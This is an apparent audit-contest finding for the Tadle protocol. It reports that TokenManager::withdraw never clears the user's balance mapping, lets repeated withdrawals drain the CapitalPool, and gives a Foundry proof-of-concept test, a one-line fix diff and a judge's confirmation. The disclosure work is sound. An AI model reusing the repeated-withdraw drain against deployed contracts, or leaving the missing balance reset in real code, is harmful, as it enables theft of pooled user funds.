Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Allows multiple withdrawals

_frolic

Summary

The TokenManager::withdraw function does not update the userTokenBalanceMap after a user has withdrawn.

Vulnerability Details

A user calls the TokenManager::withdraw to withdraw their token's balance from the CapitalPool contract but the function does not update the userTokenBalanceMap mapping which stores the user balance.

Found in https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/TokenManager.sol#L137

Impact

A user can call the TokenManager::withdraw multiple times since their balance is not updated until the CapitalPool contract is drained.

Poc

function test_withdraw_multiple() public {
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
​
vm.stopPrank();
​
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.startPrank(user2);
preMarktes.createTaker(offerAddr, 500);
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.listOffer(stock1Addr, 0.006 * 1e18, 12000);
​
address offer1Addr = GenerateAddress.generateOfferAddress(1);
preMarktes.closeOffer(stock1Addr, offer1Addr);
preMarktes.relistOffer(stock1Addr, offer1Addr);
​
vm.stopPrank();
​
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
0.01 * 1e18,
block.timestamp - 1,
3600
);
​
vm.startPrank(user);
mockPointToken.approve(address(tokenManager), 10000 * 10 ** 18);
deliveryPlace.settleAskMaker(offerAddr, 500);
vm.stopPrank();
​
vm.startPrank(user2);
deliveryPlace.closeBidTaker(stock1Addr);
//Withdraws the point tokens three times
tokenManager.withdraw(address(mockPointToken), TokenBalanceType.PointToken);
tokenManager.withdraw(address(mockPointToken), TokenBalanceType.PointToken);
tokenManager.withdraw(address(mockPointToken), TokenBalanceType.PointToken);
vm.stopPrank();
}

Tools Used

Manual Analysis

Recommendations

Update the userTokenBalance mapping after every withdrawal.

emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
- );
+ );
+ userTokenBalanceMap[_msgSender()][
+ _tokenAddress
+ ][_tokenBalanceType] = 0;
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!